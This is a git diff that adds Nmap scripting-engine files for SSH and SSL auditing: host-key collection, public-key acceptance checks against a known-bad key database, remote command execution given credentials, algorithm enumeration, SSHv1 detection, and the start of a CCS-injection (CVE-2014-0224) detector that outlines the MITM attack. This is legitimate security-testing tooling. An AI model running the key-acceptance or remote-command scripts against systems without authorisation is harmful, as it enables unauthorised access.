+--@xmloutput
+-- <table>
+-- <elem key="key">ssh-dss AAAAB3NzaC1kc3MAAACBANraqxAILTygMTgFu/0snrJck8BkhOpBbN61DAZENgeulLMaJdmNFWZpvhLOJVXSqHt2TCrspbMyvpBH4Fnv7Kb+QBAhXyzeCNnOQ7OVBfqNzkfezoFrQJgOQZSEenP6sCVDqcW2j0KVumnYdPU7FGa8SLfNqA+hUOR2HSSluynFAAAAFQDWKNq4PVbpDA7UExE8JSHnWxv4AwAAAIAWEDdNu5mWfTz52IdxELNjsmn5FvKRmnhPqq/PrTkYqAADL5WYazg7POQZ4yI2nqTq++47ONDK87Wke3qbeIhMrV13Mrgf2JuCUSNqrfEmvzZ2l9x3QyZrj+bJRPRuhwYq8rFup01qaANJ0p4WS/7voNbRhh+l57FkJF+XAJRRTAAAAIEAts1Se+u+hV9ZedXopzfXv1I5ZOSONxZanM10wjM2GRWygCYsHqDM315swBPkzhmB73oBesnhDW3bq0dmW3wvk4gzQZ2E2SHhzVGjlgDpjEahlQ+XGpDZsvqqFGGGx8lvKYFUxBR+UkqMRGmjkHw5sK5ydO1n4R3XJ4FfQFqmoyU=</elem>
+-- <elem key="bits">1024</elem>
+-- <elem key="fingerprint">18782fd3be7178a38e584b5a83bd60a8</elem>
+-- <elem key="type">ssh-dss</elem>
+-- </table>
+-- <table>
+-- <elem key="key">ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwVuv2gcr0maaKQ69VVIEv2ob4OxnuI64fkeOnCXD1lUx5tTA+vefXUWEMxgMuA7iX4irJHy2zer0NQ3Z3yJvr5scPgTYIaEOp5Uo/eGFG9Agpk5wE8CoF0e47iCAPHqzlmP2V7aNURLMODb3jVZuI07A2ZRrMGrD8d888E2ORVORv1rYeTYCqcMMoVFmX9l3gWEdk4yx3w5sD8v501Iuyd1v19mPfyhrI5E1E1nl/Xjp5N0/xP2GUBrdkDMxKaxqTPMie/f0dXBUPQQN697a5q+5lBRPhKYOtn6yQKCd9s1Q22nxn72Jmi1RzbMyYJ52FosDT755Qmb46GLrDMaZMQ==</elem>
+-- <elem key="bits">2048</elem>
+-- <elem key="fingerprint">f058cef4aaa4591c8edd4d0744c82511</elem>
+-- <elem key="type">ssh-rsa</elem>
+-- </table>
+-- <table key="Key comparison with known_hosts file">
+-- <table key="GOOD Matches in known_hosts file">
+-- <table>
+-- <elem key="lnumber">5</elem>
+-- <elem key="name">localhost</elem>
+-- <elem key="key">ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwVuv2gcr0maaKQ69VVIEv2ob4OxnuI64fkeOnCXD1lUx5tTA+vefXUWEMxgMuA7iX4irJHy2zer0NQ3Z3yJvr5scPgTYIaEOp5Uo/eGFG9Agpk5wE8CoF0e47iCAPHqzlmP2V7aNURLMODb3jVZuI07A2ZRrMGrD8d888E2ORVORv1rYeTYCqcMMoVFmX9l3gWEdk4yx3w5sD8v501Iuyd1v19mPfyhrI5E1E1nl/Xjp5N0/xP2GUBrdkDMxKaxqTPMie/f0dXBUPQQN697a5q+5lBRPhKYOtn6yQKCd9s1Q22nxn72Jmi1RzbMyYJ52FosDT755Qmb46GLrDMaZMQ==</elem>
+-- </table>
+-- </table>
+-- </table>
+--
+--@xmloutput
+-- <table>
+-- <table key="hosts">
+-- <elem>192.168.1.1</elem>
+-- <elem>192.168.1.2</elem>
+-- </table>
+-- <table key="key">
+-- <elem key="fingerprint">2c2275604bc33b18a2972c967e28dcdd</elem>
+-- <elem key="bits">2048</elem>
+-- <elem key="type">ssh-rsa</elem>
+-- </table>
+-- </table>
+-- <table>
+-- <table key="hosts">
+-- <elem>192.168.1.1</elem>
+-- <elem>192.168.1.2</elem>
+-- </table>
+-- <table key="key">
+-- <elem key="fingerprint">60ac4d51b1cd8509121692761d5d276e</elem>
+-- <elem key="bits">1024</elem>
+-- <elem key="type">ssh-dss</elem>
+-- </table>
+-- </table>
+
+author = {"Sven Klemm", "Piotr Olma", "George Chatzisofroniou"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe","default","discovery"}
+
+
+portrule = shortport.ssh
+
+postrule = function() return (nmap.registry.sshhostkey ~= nil) end
+
+--- put hostkey in the nmap registry for usage by other scripts
+--@param host nmap host table
+--@param key host key table
+local add_key_to_registry = function( host, key )
+ nmap.registry.sshhostkey = nmap.registry.sshhostkey or {}
+ nmap.registry.sshhostkey[host.ip] = nmap.registry.sshhostkey[host.ip] or {}
+ table.insert( nmap.registry.sshhostkey[host.ip], key )
+end
+
+--- check if there is a key in known_hosts file for the host that's being scanned
+--- and if there is, compare the keys
+local function check_keys(host, keys, f)
+ local keys_found = {}
+ for _,k in ipairs(keys) do
+ table.insert(keys_found, k.full_key)
+ end
+ local keys_from_file = {}
+ local same_key, same_key_hashed = {}, {}
+ local hostname = host.name == "" and nil or host.name
+ local possible_host_names = {hostname or nil, host.ip or nil, (hostname and host.ip) and ("%s,%s"):format(hostname, host.ip) or nil}
+ for _p, parts in ipairs(f) do
+ local lnumber = parts.linenumber
+ parts = parts.entry
+ local foundhostname = false
+ if #parts >= 3 then
+ -- the line might be hashed
+ if string.match(parts[1], "^|") then
+ -- split the first part of the line - it contains base64'ed salt and hashed hostname
+ local parts_hostname = stringaux.strsplit("|", parts[1])
+ if #parts_hostname == 4 then
+ -- check if the hash corresponds to the host being scanned
+ local salt = base64.dec(parts_hostname[3])
+ for _,name in ipairs(possible_host_names) do
+ local hash = base64.enc(openssl.hmac("SHA1", salt, name))
+ if parts_hostname[4] == hash then
+ stdnse.debug2("found a hash that matches: %s for hostname: %s", hash, name)
+ foundhostname = true
+ table.insert(keys_from_file, {name=name, key=("%s %s"):format(parts[2], parts[3]), lnumber=lnumber})
+ end
+ end
+ -- Is the key the same but the hashed hostname isn't?
+ if not foundhostname then
+ for _, k in ipairs(keys_found) do
+ if ("%s %s"):format(parts[2], parts[3]) == k then
+ table.insert(same_key_hashed, {name="<unknown>", key=k, lnumber = lnumber})
+ end
+ end
+ end
+ end
+ else
+ if tableaux.contains(possible_host_names, parts[1]) then
+ stdnse.debug2("Found an entry that matches: %s", parts[1])
+ table.insert(keys_from_file, ("%s %s"):format(parts[2], parts[3]))
+ else
+ -- Is the key the same but the clear text hostname isn't?
+ for _, k in ipairs(keys_found) do
+ if ("%s %s"):format(parts[2], parts[3]) == k then
+ table.insert(same_key, {name=parts[1], key=("%s %s"):format(parts[2], parts[3]), lnumber=lnumber})
+ end
+ end
+ end
+ end
+ end
+ end
+
+ local matched_keys, different_keys = {}, {}
+ local matched
+
+ -- Compare the keys found for this hostname and update the counts.
+ for _,k in ipairs(keys_from_file) do
+ matched = false
+ for __,l in ipairs(keys_found) do
+ if l == k.key then
+ table.insert(matched_keys, k)
+ matched = true
+ end
+ end
+ if not matched then
+ table.insert(different_keys, k)
+ end
+ end
+
+ -- Start making output.
+ local out
+ if #keys_from_file == 0 then
+ out = "No entry for scanned host found in known_hosts file."
+ else
+ out = stdnse.output_table()
+ local match_mt = {
+ __tostring = function(self)
+ return string.format("L%d: %s", self.lnumber, self.name)
+ end
+ }
+ local good = {}
+ for __, gm in ipairs(matched_keys) do
+ setmetatable(gm, match_mt)
+ good[#good+1] = gm
+ end
+ for __, gm in ipairs(same_key) do
+ setmetatable(gm, match_mt)
+ good[#good+1] = gm
+ end
+ for __, gm in ipairs(same_key_hashed) do
+ setmetatable(gm, match_mt)
+ good[#good+1] = gm
+ end
+ if #good > 0 then
+ out["GOOD Matches in known_hosts file"] = good
+ end
+
+ local wrong = {}
+ for __, gm in ipairs(different_keys) do
+ setmetatable(gm, match_mt)
+ wrong[#wrong+1] = gm
+ end
+ if #wrong > 0 then
+ out["WRONG Matches in known_hosts file"] = wrong
+ end
+ end
+ return out
+end
+
+--- gather host keys
+--@param host nmap host table
+--@param port nmap port table of the currently probed port
+local function portaction(host, port)
+ if port.version.name_confidence < 8 or port.version.name ~= "ssh" then
+ -- additional check if version scan was not done or if it doesn't think it's SSH.
+ -- Since the fetch_host_key functions don't indicate what failed, we could
+ -- waste a lot of time on e.g. tcpwrapped port 22
+ -- Using opencon instead of get_banner to avoid trying SSL first in some cases
+ local status, banner = comm.opencon(host, port, nil, {recv_before=true})
+ if not string.match(banner, "^SSH") then
+ stdnse.debug1("Service does not appear to be SSH: quitting.")
+ return nil
+ end
+ end
+ local output_tab = {}
+ local keys = {}
+ local key
+ local format = nmap.registry.args.ssh_hostkey or "md5"
+ local format_bits = {
+ md5 = 1,
+ hex = 1, -- compatibility alias for md5
+ sha256 = 1 << 1,
+ bubble = 1 << 2,
+ visual = 1 << 3,
+ full = 1 << 4,
+ all = 0xffff,
+ }
+ local format_mask = 0
+ for word in format:gmatch("%w+") do
+ format_mask = format_mask | (format_bits[word] or 0)
+ end
+
+ key = ssh1.fetch_host_key( host, port )
+ if key then table.insert( keys, key ) end
+
+ key = ssh2.fetch_host_key( host, port, "ssh-dss" )
+ if key then table.insert( keys, key ) end
+
+ key = ssh2.fetch_host_key( host, port, "ssh-rsa" )
+ if key then table.insert( keys, key ) end
+
+ key = ssh2.fetch_host_key( host, port, "ecdsa-sha2-nistp256" )
+ if key then table.insert( keys, key ) end
+
+ key = ssh2.fetch_host_key( host, port, "ecdsa-sha2-nistp384" )
+ if key then table.insert( keys, key ) end
+
+ key = ssh2.fetch_host_key( host, port, "ecdsa-sha2-nistp521" )
+ if key then table.insert( keys, key ) end
+
+ key = ssh2.fetch_host_key( host, port, "ssh-ed25519" )
+ if key then table.insert( keys, key ) end
+
+ if #keys == 0 then
+ return nil
+ end
+
+ for _, key in ipairs( keys ) do
+ add_key_to_registry( host, key )
+ local output = {}
+ local out = {
+ fingerprint=stdnse.tohex(key.fingerprint),
+ type=key.key_type,
+ bits=key.bits,
+ key=key.key,
+ }
+ if format_mask & format_bits.md5 ~= 0 then
+ table.insert( output, ssh1.fingerprint_hex( key.fingerprint, key.algorithm, key.bits ) )
+ end
+ if format_mask & format_bits.sha256 ~= 0 then
+ table.insert( output, ssh1.fingerprint_base64( key.fp_sha256, "SHA256", key.algorithm, key.bits ) )
+ end
+ if format_mask & format_bits.bubble ~= 0 then
+ table.insert( output, ssh1.fingerprint_bubblebabble( openssl.sha1(key.fp_input), key.algorithm, key.bits ) )
+ end
+ if format_mask & format_bits.visual ~= 0 then
+ table.insert( output, ssh1.fingerprint_visual( key.fingerprint, key.algorithm, key.bits ) )
+ end
+ if nmap.verbosity() > 1 or format_mask & format_bits.full ~= 0 then
+ table.insert( output, key.full_key )
+ end
+ setmetatable(out, {
+ __tostring = function(self)
+ return table.concat(output, "\n")
+ end
+ })
+ table.insert(output_tab, out)
+ end
+
+ -- if a known_hosts file was given, then check if it contains a key for the host being scanned
+ local known_hosts = stdnse.get_script_args("ssh-hostkey.known-hosts") or false
+ if known_hosts then
+ known_hosts = ssh1.parse_known_hosts_file(known_hosts)
+ output_tab["Key comparison with known_hosts file"] = check_keys(
+ host, keys, known_hosts)
+ end
+
+ return output_tab
+end
+
+--- iterate over the list of gathered keys and look for duplicate hosts (sharing the same hostkeys)
+local function postaction()
+ local hostkeys = {}
+ local output = {}
+ local output_tab = {}
+ local revmap = {}
+
+ -- create a reverse mapping key_fingerprint -> host(s)
+ for ip, keys in pairs(nmap.registry.sshhostkey) do
+ for _, key in ipairs(keys) do
+ local fp = ssh1.fingerprint_hex(key.fingerprint, key.algorithm, key.bits)
+ if not hostkeys[fp] then
+ hostkeys[fp] = {}
+ revmap[fp] = {
+ fingerprint=stdnse.tohex(key.fingerprint,{separator=":"}),
+ type=key.key_type,
+ bits=key.bits
+ }
+ end
+ -- discard duplicate IPs
+ if not tableaux.contains(hostkeys[fp], ip) then
+ table.insert(hostkeys[fp], ip)
+ end
+ end
+ end
+
+ -- look for hosts using the same hostkey
+ for key, hosts in pairs(hostkeys) do
+ if #hostkeys[key] > 1 then
+ table.sort(hostkeys[key], function(a, b) return ipOps.compare_ip(a, "lt", b) end)
+ local str = {'Key ' .. key .. ' used by:'}
+ local tab = {key=revmap[key], hosts={}}
+ for _, host in ipairs(hostkeys[key]) do
+ str[#str+1] = host
+ table.insert(tab.hosts, host)
+ end
+ table.insert(output, table.concat(str, "\n "))
+ table.insert(output_tab, tab)
+ end
+ end
+
+ if #output > 0 then
+ return output_tab, 'Possible duplicate hosts\n' .. table.concat(output, '\n')
+ end
+end
+
+local ActionsTable = {
+ -- portrule: retrieve ssh hostkey
+ portrule = portaction,
+ -- postrule: look for duplicate hosts (same hostkey)
+ postrule = postaction
+}
+
+-- execute the action function corresponding to the current rule
+action = function(...) return ActionsTable[SCRIPT_TYPE](...) end
+
diff --git a/scripts/ssh-publickey-acceptance.nse b/scripts/ssh-publickey-acceptance.nse
new file mode 100644
index 0000000..a006325
--- /dev/null
+++ b/scripts/ssh-publickey-acceptance.nse
@@ -0,0 +1,167 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local base64 = require "base64"
+local string = require "string"
+local table = require "table"
+local io = require "io"
+
+local libssh2_util = require "libssh2-utility"
+
+description = [[
+This script takes a table of paths to private keys, passphrases, and usernames
+and checks each pair to see if the target ssh server accepts them for publickey
+authentication. If no keys are given or the known-bad option is given, the
+script will check if a list of known static public keys are accepted for
+authentication.
+]]
+
+---
+-- @usage
+-- nmap -p 22 --script ssh-publickey-acceptance --script-args "ssh.usernames={'root', 'user'}, ssh.privatekeys={'./id_rsa1', './id_rsa2'}" <target>
+--
+-- @usage
+-- nmap -p 22 --script ssh-publickey-acceptance --script-args 'ssh.usernames={"root", "user"}, publickeys={"./id_rsa1.pub", "./id_rsa2.pub"}' <target>
+--
+-- @output
+-- 22/tcp open ssh syn-ack
+-- | ssh-publickey-acceptance:
+-- | Accepted Public Keys:
+-- |_ Key ./id_rsa1 accepted for user root
+--
+-- @args ssh.privatekeys Table containing filenames of privatekeys to test
+-- @args ssh.passphrases Table containing passphrases for each private key
+-- @args ssh.publickeys Table containing filenames of publickkeys to test
+-- @args ssh.usernames Table containing usernames to check
+-- @args knownbad If specified, check if keys from publickeydb are accepted
+-- @args publickeydb Specifies alternative publickeydb
+
+author = "Devin Bjelland"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"auth", "intrusive"}
+
+local privatekeys = stdnse.get_script_args "ssh.privatekeys"
+local passphrases = stdnse.get_script_args "ssh.passphrases" or {}
+local usernames = stdnse.get_script_args "ssh.usernames"
+local knownbad = stdnse.get_script_args "knownbad"
+local publickeys = stdnse.get_script_args "ssh.publickeys"
+local publickeydb = stdnse.get_script_args "publickeydb" or nmap.fetchfile("nselib/data/publickeydb")
+portrule = shortport.ssh
+
+function action (host, port)
+ local result = stdnse.output_table()
+ local r = {}
+ local helper = libssh2_util.SSHConnection:new()
+ local failures = 0
+ local successes = 0
+ if publickeys and usernames then
+ for j = 1, #usernames do
+ for i = 1, #publickeys do
+ stdnse.debug("Checking key: " .. publickeys[i] .. " for user " .. usernames[j])
+ local status, result = helper:read_publickey(publickeys[i])
+ if not status then
+ stdnse.verbose("Error reading key: " .. result)
+ elseif helper:connect(host, port) then
+ successes = successes + 1
+ local status, err = helper:publickey_canauth(usernames[j], result)
+ if status then
+ table.insert(r, "Key " .. publickeys[i] .. " accepted for user " .. usernames[j])
+ stdnse.verbose("Found accepted key: " .. publickeys[i] .. " for user " .. usernames[j])
+ elseif err then
+ stdnse.debug("Error in publickey_canauth: %s", err)
+ end
+ helper:disconnect()
+ else
+ -- Allow 3 connection attempts, then bail
+ failures = failures + 1
+ stdnse.debug1("Connect failed.")
+ if failures > 2 then
+ if successes == 0 then
+ -- If we haven't succeeded even once, don't report results.
+ stdnse.debug1("Giving up.")
+ return nil
+ else
+ goto ACTION_END
+ end
+ end
+ end
+ end
+ end
+ end
+
+ if knownbad or not (privatekeys or publickeys) then
+ for line in io.lines(publickeydb) do
+ local sections = {}
+ for section in string.gmatch(line, '([^,]+)') do
+ table.insert(sections, section)
+ end
+ local key = sections[1]
+ local user = sections[2]
+ local msg = sections[3]
+ stdnse.debug("Checking key: " .. key .. " for user " .. user)
+ key = base64.dec(key)
+ if helper:connect(host, port) then
+ successes = successes + 1
+ if helper:publickey_canauth(user, key) then
+ table.insert(r, msg)
+ stdnse.verbose("Found accepted key: " .. msg)
+ end
+ helper:disconnect()
+ else
+ -- Allow 3 connection attempts, then bail
+ failures = failures + 1
+ stdnse.debug1("Connect failed.")
+ if failures > 2 then
+ if successes == 0 then
+ -- If we haven't succeeded even once, don't report results.
+ stdnse.debug1("Giving up.")
+ return nil
+ else
+ goto ACTION_END
+ end
+ end
+ end
+ end
+ end
+
+ if privatekeys and usernames then
+ for j = 1, #usernames do
+ for i = 1, #privatekeys do
+ stdnse.debug("Checking key: " .. privatekeys[i] .. " for user " .. usernames[j])
+ if helper:connect(host, port) then
+ successes = successes + 1
+ if not helper:publickey_auth(usernames[j], privatekeys[i], passphrases[i] or "") then
+ stdnse.verbose "Failed to authenticate"
+ else
+ table.insert(r, "Key " .. privatekeys[i] .. " accepted for user " .. usernames[j])
+ stdnse.verbose("Found accepted key: " .. privatekeys[i] .. " for user " .. usernames[j])
+
+ end
+ helper:disconnect()
+ else
+ -- Allow 3 connection attempts, then bail
+ failures = failures + 1
+ stdnse.debug1("Connect failed.")
+ if failures > 2 then
+ if successes == 0 then
+ -- If we haven't succeeded even once, don't report results.
+ stdnse.debug1("Giving up.")
+ return nil
+ else
+ goto ACTION_END
+ end
+ end
+ end
+ end
+ end
+ end
+
+ ::ACTION_END::
+ if #r > 0 then
+ result["Accepted Public Keys"] = r
+ else
+ result["Accepted Public Keys"] = "No public keys accepted"
+ end
+
+ return result
+end
diff --git a/scripts/ssh-run.nse b/scripts/ssh-run.nse
new file mode 100644
index 0000000..e91fdbe
--- /dev/null
+++ b/scripts/ssh-run.nse
@@ -0,0 +1,103 @@
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local stringaux = require "stringaux"
+local table = require "table"
+local libssh2_util = require "libssh2-utility"
+
+description = [[
+Runs remote command on ssh server and returns command output.
+]]
+
+---
+-- @usage nmap -p 22 --script=ssh-run \
+-- --script-args="ssh-run.cmd=ls -l /, ssh-run.username=myusername, ssh-run.password=mypassword" <target>
+--
+-- @output
+-- 22/tcp open ssh
+-- | ssh-run:
+-- | output:
+-- | total 91
+-- | drwxr-xr-x 2 root root 4096 Jun 5 11:56 bin
+-- | drwxr-xr-x 4 root root 3072 Jun 5 12:42 boot
+-- | drwxrwxr-x 2 root root 4096 Jun 22 2017 cdrom
+-- | drwxr-xr-x 20 root root 4060 Jun 23 10:26 dev
+-- | drwxr-xr-x 127 root root 12288 Jun 5 11:56 etc
+-- | drwxr-xr-x 3 root root 4096 Jun 22 2017 home
+-- ....
+-- |_ drwxr-xr-x 13 root root 4096 Jul 20 2016 var
+--
+-- @xmloutput
+-- <elem key="output">total 91\x0D&#xa;drwxr-xr-x 2 root root 4096 Jun 5 11:56 bin\x0D&#xa;drwxr-xr-x 4 root root 3072 Jun 5 12:42 boot\x0D&#xa;drwxrwxr-x 2 root root 4096 Jun 22 2017 cdrom\x0D&#xa;drwxr-xr-x 20 root root 4060 Jun 23 10:26 dev\x0D&#xa;drwxr-xr-x 127 root root 12288 Jun 5 11:56 etc\x0D&#xa;drwxr-xr-x 3 root root 4096 Jun 22 2017 home\x0D&#xa;....\x0D&#xa;drwxr-xr-x 13 root root 4096 Jul 20 2016 var\x0D&#xa;</elem>
+--
+-- @args ssh-run.username Username to authenticate as
+-- @args ssh-run.password Password to use if using password authentication
+-- @args ssh-run.privatekey Privatekeyfile to use if using publickey authentication
+-- @args ssh-run.passphrase Passphrase for privatekey if using publickey authentication
+-- @args ssh-run.cmd Command to run on remote server
+
+
+author = "Devin Bjelland"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {
+ 'intrusive',
+}
+
+portrule = shortport.ssh
+
+local username = stdnse.get_script_args 'ssh-run.username'
+local cmd = stdnse.get_script_args 'ssh-run.cmd'
+local password = stdnse.get_script_args 'ssh-run.password'
+local privatekey = stdnse.get_script_args 'ssh-run.privatekey'
+local passphrase = stdnse.get_script_args 'ssh-run.passphrase'
+
+local function remove_tabs (str, tabsize)
+tabsize = tabsize or 8
+local out = str:gsub("(.-)\t", function (s)
+ return s .. (" "):rep(tabsize - #s % tabsize)
+ end)
+ return out
+end
+
+function action (host, port)
+ local conn = libssh2_util.SSHConnection:new()
+ if not conn:connect(host, port) then
+ return "Failed to connect to ssh server"
+ end
+ if username and password and cmd then
+ if not conn:password_auth(username, password) then
+ conn:disconnect()
+ stdnse.verbose "Failed to authenticate"
+ return "Authentication Failed"
+ else
+ stdnse.verbose "Authenticated"
+ end
+ elseif username and privatekey and cmd then
+ if not conn:publickey_auth(username, privatekey, passphrase) then
+ conn:disconnect()
+ stdnse.verbose "Failed to authenticate"
+ return "Authentication Failed"
+ else
+ stdnse.verbose "Authenticated"
+ end
+
+ else
+ stdnse.verbose "Failed to specify credentials and command to run."
+ return "Failed to specify credentials and command to run."
+ end
+ stdnse.verbose("Running command: " .. cmd)
+ local output, err_output = conn:run_remote(cmd)
+ stdnse.verbose("Output of command: " .. output)
+
+ local out = stdnse.output_table()
+ out.output = output
+
+ local txtout = {}
+ for _, line in ipairs(stringaux.strsplit("\r?\n", output:gsub("\r?\n$", ""))) do
+ local str = line:gsub("[^\t\x20-\x7f]", "")
+ table.insert(txtout, remove_tabs(str))
+ end
+ txtout.name = "output:"
+
+ return out, stdnse.format_output(true, {txtout})
+end
diff --git a/scripts/ssh2-enum-algos.nse b/scripts/ssh2-enum-algos.nse
new file mode 100644
index 0000000..fda9f0e
--- /dev/null
+++ b/scripts/ssh2-enum-algos.nse
@@ -0,0 +1,212 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+local openssl = stdnse.silent_require "openssl"
+local ssh2 = stdnse.silent_require "ssh2"
+
+description = [[
+Reports the number of algorithms (for encryption, compression, etc.) that
+the target SSH2 server offers. If verbosity is set, the offered algorithms
+are each listed by type.
+
+If the "client to server" and "server to client" algorithm lists are identical
+(order specifies preference) then the list is shown only once under a combined
+type.
+]]
+
+---
+-- @usage
+-- nmap --script ssh2-enum-algos target
+--
+-- @output
+-- PORT STATE SERVICE
+-- 22/tcp open ssh
+-- | ssh2-enum-algos:
+-- | kex_algorithms (4)
+-- | diffie-hellman-group-exchange-sha256
+-- | diffie-hellman-group-exchange-sha1
+-- | diffie-hellman-group14-sha1
+-- | diffie-hellman-group1-sha1
+-- | server_host_key_algorithms (2)
+-- | ssh-rsa
+-- | ssh-dss
+-- | encryption_algorithms (13)
+-- | aes128-ctr
+-- | aes192-ctr
+-- | aes256-ctr
+-- | arcfour256
+-- | arcfour128
+-- | aes128-cbc
+-- | 3des-cbc
+-- | blowfish-cbc
+-- | cast128-cbc
+-- | aes192-cbc
+-- | aes256-cbc
+-- | arcfour
+-- | rijndael-cbc@lysator.liu.se
+-- | mac_algorithms (6)
+-- | hmac-md5
+-- | hmac-sha1
+-- | hmac-ripemd160
+-- | hmac-ripemd160@openssh.com
+-- | hmac-sha1-96
+-- | hmac-md5-96
+-- | compression_algorithms (2)
+-- | none
+-- |_ zlib@openssh.com
+--
+-- @xmloutput
+-- <table key="kex_algorithms">
+-- <elem>ecdh-sha2-nistp256</elem>
+-- <elem>ecdh-sha2-nistp384</elem>
+-- <elem>ecdh-sha2-nistp521</elem>
+-- <elem>diffie-hellman-group-exchange-sha256</elem>
+-- <elem>diffie-hellman-group-exchange-sha1</elem>
+-- <elem>diffie-hellman-group14-sha1</elem>
+-- <elem>diffie-hellman-group1-sha1</elem>
+-- </table>
+-- <table key="server_host_key_algorithms">
+-- <elem>ssh-rsa</elem>
+-- <elem>ecdsa-sha2-nistp256</elem>
+-- </table>
+-- <table key="encryption_algorithms">
+-- <elem>aes128-ctr</elem>
+-- <elem>aes192-ctr</elem>
+-- <elem>aes256-ctr</elem>
+-- <elem>aes128-cbc</elem>
+-- <elem>3des-cbc</elem>
+-- <elem>blowfish-cbc</elem>
+-- <elem>cast128-cbc</elem>
+-- <elem>aes192-cbc</elem>
+-- <elem>aes256-cbc</elem>
+-- </table>
+-- <table key="mac_algorithms">
+-- <elem>hmac-sha1</elem>
+-- <elem>umac-64@openssh.com</elem>
+-- <elem>hmac-ripemd160</elem>
+-- <elem>hmac-sha2-256</elem>
+-- <elem>hmac-sha2-512</elem>
+-- </table>
+-- <table key="compression_algorithms">
+-- <elem>none</elem>
+-- <elem>zlib@openssh.com</elem>
+-- </table>
+
+author = "Kris Katterjohn"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe", "discovery"}
+
+
+portrule = shortport.ssh
+
+-- Build onto lists{} and possibly modify parsed{} based on whether the
+-- algorithm name-lists are identical between the server-to-client and
+-- client-to-server types. Note that this simply modifies the passed tables.
+local combine_types = function(parsed, lists)
+ local doubles = {
+ "encryption_algorithms",
+ "mac_algorithms",
+ "compression_algorithms"
+ }
+
+ for _, i in ipairs(doubles) do
+ local c2s = i .. "_client_to_server"
+ local s2c = i .. "_server_to_client"
+
+ if parsed[c2s] == parsed[s2c] then
+ parsed[i] = parsed[c2s]
+ parsed[c2s] = nil
+ parsed[s2c] = nil
+ table.insert(lists, i)
+ else
+ table.insert(lists, c2s)
+ table.insert(lists, s2c)
+ end
+ end
+end
+
+-- Build and return the output table
+local output = function(parsed, lists)
+ local out = stdnse.output_table()
+
+ for _, l in ipairs(lists) do
+ local v = parsed[l]
+ local a = v:len() > 0 and stringaux.strsplit(",", v) or {}
+ if nmap.verbosity() > 0 then
+ setmetatable(a, {
+ __tostring = function(t)
+ return string.format("(%d)\n %s", #t, table.concat(t, "\n "))
+ end
+ })
+ else
+ setmetatable(a, {
+ __tostring = function(t)
+ return string.format("(%d)", #t)
+ end
+ })
+ end
+ out[l] = a
+ end
+
+ return out
+end
+
+action = function(host, port)
+ local sock = nmap.new_socket()
+ local status = sock:connect(host, port)
+ if not status then
+ return
+ end
+
+ -- send the client banner
+ -- NB: The protocol does not prescribe which side sends the banner first
+ status = sock:send("SSH-2.0-Nmap_SSH2_Enum_Algos\r\n")
+ if not status then
+ sock:close()
+ return
+ end
+
+ -- slurp the server banner
+ status = sock:receive_buf("\r?\n", false)
+ if not status then
+ sock:close()
+ return
+ end
+
+ local ssh = ssh2.transport
+
+ -- send the client key exchange
+ -- NB: The protocol does not prescribe which side sends the kex init first
+ status = sock:send(ssh.build(ssh.kex_init()))
+ if not status then
+ sock:close()
+ return
+ end
+
+ local response
+ status, response = ssh.receive_packet(sock)
+ sock:close()
+ if not status then
+ return
+ end
+
+ local parsed = ssh.parse_kex_init(ssh.payload(response))
+
+ local lists = {
+ "kex_algorithms",
+ "server_host_key_algorithms"
+ -- Other types will be added below in combine_types()
+ }
+
+ -- Modifies tables
+ combine_types(parsed, lists)
+
+ return output(parsed, lists)
+end
+
diff --git a/scripts/sshv1.nse b/scripts/sshv1.nse
new file mode 100644
index 0000000..260b2c7
--- /dev/null
+++ b/scripts/sshv1.nse
@@ -0,0 +1,74 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+
+description = [[
+Checks if an SSH server supports the obsolete and less secure SSH Protocol Version 1.
+]]
+author = "Brandon Enright"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "safe"}
+
+---
+-- @output
+-- PORT STATE SERVICE
+-- 22/tcp open ssh
+-- |_sshv1: Server supports SSHv1
+--
+-- @xmloutput
+-- true
+
+
+portrule = shortport.ssh
+
+action = function(host, port)
+ local socket = nmap.new_socket()
+ local result;
+ local status = true;
+
+ socket:connect(host, port)
+ status, result = socket:receive_lines(1);
+
+ if (not status) then
+ socket:close()
+ return
+ end
+
+ if (result == "TIMEOUT") then
+ socket:close()
+ return
+ end
+
+ if not string.match(result, "^SSH%-.+\n$") then
+ socket:close()
+ return
+ end
+
+ socket:send("SSH-1.5-NmapNSE_1.0\n")
+
+ -- should be able to consume at least 13 bytes
+ -- key length is a 4 byte integer
+ -- padding is between 1 and 8 bytes
+ -- type is one byte
+ -- key is at least several bytes
+ status, result = socket:receive_bytes(13);
+
+ if (not status) then
+ socket:close()
+ return
+ end
+
+ if (result == "TIMEOUT") then
+ socket:close()
+ return
+ end
+
+ if not string.match(result, "^....[\0]+\002") then
+ socket:close()
+ return
+ end
+
+ socket:close();
+
+ return true, "Server supports SSHv1"
+end
diff --git a/scripts/ssl-ccs-injection.nse b/scripts/ssl-ccs-injection.nse
new file mode 100644
index 0000000..fd34bb1
--- /dev/null
+++ b/scripts/ssl-ccs-injection.nse
@@ -0,0 +1,328 @@
+local nmap = require('nmap')
+local shortport = require('shortport')
+local sslcert = require('sslcert')
+local stdnse = require('stdnse')
+local vulns = require('vulns')
+local tls = require 'tls'
+local tableaux = require "tableaux"
+
+description = [[
+Detects whether a server is vulnerable to the SSL/TLS "CCS Injection"
+vulnerability (CVE-2014-0224), first discovered by Masashi Kikuchi.
+The script is based on the ccsinjection.c code authored by Ramon de C Valle
+(https://gist.github.com/rcvalle/71f4b027d61a78c42607)
+
+In order to exploit the vulnerablity, a MITM attacker would effectively
+do the following:
+
+ o Wait for a new TLS connection, followed by the ClientHello
+ ServerHello handshake messages.
+
+ o Issue a CCS packet in both the directions, which causes the OpenSSL
+ code to use a zero length pre master secret key. The packet is sent
+ to both ends of the connection. Session Keys are derived using a
+ zero length pre master secret key, and future session keys also
+ share this weakness.
+
+ o Renegotiate the handshake parameters.
+
+ o The attacker is now able to decrypt or even modify the packets
+ in transit.
+
+The script works by sending a 'ChangeCipherSpec' message out of order and
